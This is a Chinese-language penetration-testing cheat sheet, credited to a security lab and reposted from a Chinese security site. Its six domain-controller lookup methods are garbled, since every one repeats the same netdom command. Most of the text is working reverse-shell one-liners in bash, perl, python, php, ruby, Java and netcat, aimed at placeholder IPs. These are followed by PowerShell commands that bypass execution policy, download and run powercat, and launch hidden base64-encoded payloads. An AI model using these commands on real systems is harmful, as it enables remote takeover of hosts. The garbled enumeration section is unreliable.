1.net view
netdom query pdc
2.set log
netdom query pdc
3.通过srv记录
netdom query pdc
4.使用nltest
netdom query pdc
5.使用dsquery
netdom query pdc
6.使用netdom
netdom query pdc
注释:这些都是win系统自带的命令,有的时候win版本不同,有的命令会不存在,所以多一种方法,多一种成功的可能性,实际渗透,自行根据目标环境变换。
Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功]
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" $line="">&5 >&5; done"] as String[]) p.waitFor()
netcat
nc -e /bin/sh x.x.x.x 2333
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决rm/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f
1.通过远程下载来执行
Set-ExecutionPolicy RemoteSigned IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
2.把ps脚本传到本地后执行
PowerShell.exe -ep Bypass -File d:powercat.ps1
3.本地交互式执行
E:>PowerShell.exe -ExecutionPolicy Bypass Invoke-PowerShellTcp -Reverse -IPAddress 10.18.180.18 -Port 4444
4.把ps脚本编码成base64来执行[实战用的最多]
powershell -ep bypass -NoLogo -NonInteractive -NoProfile -windowstyle Hidden -enc base64加密过的命令
作者:Ms08067安全实验室
转载注明:https://www.secpulse.com/archives/120372.html